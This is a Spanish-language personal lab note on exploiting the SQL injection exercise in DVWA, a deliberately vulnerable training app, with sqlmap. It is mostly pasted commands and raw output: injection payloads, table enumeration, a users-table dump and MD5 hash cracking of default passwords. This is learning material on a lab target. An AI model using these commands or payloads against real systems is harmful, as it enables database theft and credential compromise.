Apuntes Damn Vulnerable Web App DVWA
Apuntes Incompletos.
Recuerda: En la categoria Apuntes Voy a poner apuntes y notas de los proyectos que tengo en marcha.
No son articulos conpletos.
Pero te pueden ayudar a resolver dudas , problemas y tener referencias.
Uso SQLMAP
Cargo la web, voy a SQL Inyection, en el navegador habilito herramientas del desarrollador => red, cogo la pagina POST en cabeceras marco cabeceras sin procesar, copio la linea de la cookie.
y la pego en la sentencia sqlmap.
sqlmap.py -u "URL" --cookie="linea cookie" -b --current-db --current-user
Ejemplo:
root@kali:~# sqlmap -u "http://192.168.0.17:32784/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -b --current-db --current-user --cookie=" security=low; vmware_client=VMware; io=Z_YE4Rp33GOtYDK-AAAE; language=az_AZ; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=l5wOojDeg73OnzQ6aB4Z8ERMvyJr0XYAq9pw5xYVWmkj2P1lXLoNbK7vRbkE; PHPSESSID=h7srh4bu6l52tbi4204150eu7i" ___ __H__ ___ ___[.]_____ ___ ___ {1.4.7#stable} |_ -| . [)] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 21:04:28 /2020-07-30/ [21:04:29] [INFO] testing connection to the target URL [21:04:30] [INFO] checking if the target is protected by some kind of WAF/IPS [21:04:31] [INFO] testing if the target URL content is stable [21:04:32] [INFO] target URL content is stable [21:04:32] [INFO] testing if GET parameter 'id' is dynamic [21:04:32] [WARNING] GET parameter 'id' does not appear to be dynamic [21:04:32] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [21:04:33] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks/root/.local/share/sqlmap/output/192.168.0.17 [21:04:33] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y [21:04:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [21:04:45] [WARNING] reflective value(s) found and filtering out [21:04:47] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [21:04:48] [INFO] testing 'Generic inline queries' [21:04:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' [21:04:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' [21:04:57] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' [21:05:01] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --not-string="Me") [21:05:-D dvwa -T users --dump01] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [21:05:01] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [21:05:01] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [21:05:01] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [21:05:01] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [21:05:01] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [21:05:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [21:05:01] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [21:05:01] [INFO] testing 'MySQL inline queries' [21:05:02] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [21:05:02] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [21:05:02] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [21:05:02] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [21:05:02] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [21:05:02] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [21:05:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [21:05:12] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [21:05:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [21:05:12] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [21:05:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [21:05:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [21:05:13] [INFO] target URL appears to have 2 columns in query [21:05:13] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable [21:05:13] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 152 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 9857=9857#&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND (SELECT 5549 FROM(SELECT COUNT(*),CONCAT(0x717a627871,(SELECT (ELT(5549=5549,1))),0x71626b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uEEy&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 7874 FROM (SELECT(SLEEP(5)))tpwE)-- KTwb&Submit=Submit Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x717a627871,0x72564b4e6d7764714653494e6f7a5061596d706a596b4e434d6a4250526c6f586e54577062516153,0x71626b7671),NULL#&Submit=Submit --- [21:05:24] [INFO] the back-end DBMS is MySQL [21:05:24] [INFO] fetching banner back-end DBMS: MySQL >= 5.0 (MariaDB fork) banner: '10.3.22-MariaDB-0+deb10u1' [21:05:24] [INFO] fetching current user current user: 'dvwa@127.0.0.1' [21:05:25] [INFO] fetching current database current database: 'dvwa' [21:05:25] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.17' [*] ending @ 21:05:25 /2020-07-30/
Como se ve he sacado el usuario 'dvwa@127.0.0.1'
y la base de datos 'dvwa'
Añado -D dvwa --tables
al comando
root@kali:~# sqlmap -u "http://192.168.0.17:32784/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie=" security=low; io=Z_YE4Rp33GOtYDK-AAAE; language=az_AZ; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=l5wOojDeg73OnzQ6aB4Z8ERMvyJr0XYAq9pw5xYVWmkj2P1lXLoNbK7vRbkE; PHPSESSID=h7srh4bu6l52tbi4204150eu7i" -D dvwa --tables [22:09:50] [INFO] fetching tables for database: 'dvwa' [22:09:51] [WARNING] reflective value(s) found and filtering out Database: dvwa [2 tables] +-----------+ | guestbook | | users | +-----------+ [22:09:51] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.17' [*] ending @ 22:09:51 /2020-07-30/
Añado -D dvwa -T users --dump
root@kali:~# sqlmap -u "http://192.168.0.17:32784/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie=" security=low; io=Z_YE4Rp33GOtYDK-AAAE; language=az_AZ; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=l5wOojDeg73OnzQ6aB4Z8ERMvyJr0XYAq9pw5xYVWmkj2P1lXLoNbK7vRbkE; PHPSESSID=h7srh4bu6l52tbi4204150eu7i" -D dvwa -T users --dump [22:14:08] [WARNING] no clear password(s) found Database: dvwa Table: users [5 entries] +---------+---------+-------------+-----------+----------------------------------+------------+---------------------+--------------+ | user_id | user | avatar | last_name | password | first_name | last_login | failed_login | +---------+---------+-------------+-----------+----------------------------------+------------+---------------------+--------------+ | 1 | admin | admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin | 2020-07-30 16:42:52 | 0 | | 2 | gordonb | gordonb.jpg | Brown | e99a18c428cb38d5f260853678922e03 | Gordon | 2020-07-30 16:42:52 | 0 | | 3 | 1337 | 1337.jpg | Me | 8d3533d75ae2c3966d7e0d4fcc69216b | Hack | 2020-07-30 16:42:52 | 0 | | 4 | pablo | pablo.jpg | Picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 | Pablo | 2020-07-30 16:42:52 | 0 | | 5 | smithy | smithy.jpg | Smith | 5f4dcc3b5aa765d61d8327deb882cf99 | Bob | 2020-07-30 16:42:52 | 0 | +---------+---------+-------------+-----------+----------------------------------+------------+---------------------+--------------+ [22:14:08] [INFO] table 'dvwa.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.0.17/dump/dvwa/users.csv' [22:14:08] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.17' [*] ending @ 22:14:08 /2020-07-30/
Si le dejo intentar averiguar las contraseñas:
root@kali:~# sqlmap -u "http://192.168.0.17:32784/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie=" security=low; io=Z_YE4Rp33GOtYDK-AAAE; language=az_AZ; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=l5wOojDeg73OnzQ6aB4Z8ERMvyJr0XYAq9pw5xYVWmkj2P1lXLoNbK7vRbkE; PHPSESSID=h7srh4bu6l52tbi4204150eu7i" -D dvwa -T users --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.4.7#stable} |_ -| . [,] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:20:49 /2020-07-30/ [22:20:50] [INFO] resuming back-end DBMS 'mysql' [22:20:50] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 7158=7158#&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND (SELECT 1625 FROM(SELECT COUNT(*),CONCAT(0x71717a7871,(SELECT (ELT(1625=1625,1))),0x716a716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- LVGO&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 9966 FROM (SELECT(SLEEP(5)))Hvxs)-- NYxM&Submit=Submit Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x71717a7871,0x71466f4875714763776e6d6742646a6d5044414a4c4b4e6c574a754e536b6756705471504b47666d,0x716a716271),NULL#&Submit=Submit --- [22:20:52] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 (MariaDB fork) [22:20:52] [INFO] fetching columns for table 'users' in database 'dvwa' [22:20:52] [INFO] fetching entries for table 'users' in database 'dvwa' [22:20:52] [INFO] recognized possible password hashes in column '`password`' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [22:20:59] [INFO] writing hashes to a temporary file '/tmp/sqlmap9vpy1q9g127415/sqlmaphashes-vxypp45w.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] y [22:21:03] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [22:21:05] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] n [22:21:10] [INFO] starting dictionary-based cracking (md5_generic_passwd) [22:21:10] [INFO] starting 4 processes [22:21:34] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' [22:21:56] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [22:22:36] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [22:22:54] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' Database: dvwa Table: users [5 entries] +---------+---------+----------------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+ | user_id | user | avatar | last_name | password | first_name | last_login | failed_login | +---------+---------+----------------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+ | 1 | admin | /dvwa/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | 2020-07-30 16:42:52 | 0 | | 2 | gordonb | /dvwa/hackable/users/gordonb.jpg | Brown | e99a18c428cb38d5f260853678922e03 (abc123) | Gordon | 2020-07-30 16:42:52 | 0 | | 3 | 1337 | /dvwa/hackable/users/1337.jpg | Me | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Hack | 2020-07-30 16:42:52 | 0 | | 4 | pablo | /dvwa/hackable/users/pablo.jpg | Picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Pablo | 2020-07-30 16:42:52 | 0 | | 5 | smithy | /dvwa/hackable/users/smithy.jpg | Smith | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Bob | 2020-07-30 16:42:52 | 0 | +---------+---------+----------------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+ [22:24:04] [INFO] table 'dvwa.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.0.17/dump/dvwa/users.csv' [22:24:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.17' [*] ending @ 22:24:04 /2020-07-30/
Obtendre esto:
+———+———+———————————————+ | user_id | user | password | +———+———+———————————————+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | | 2 | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | | 3 | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | 4 | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | 5 | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | +———+———+———————————————+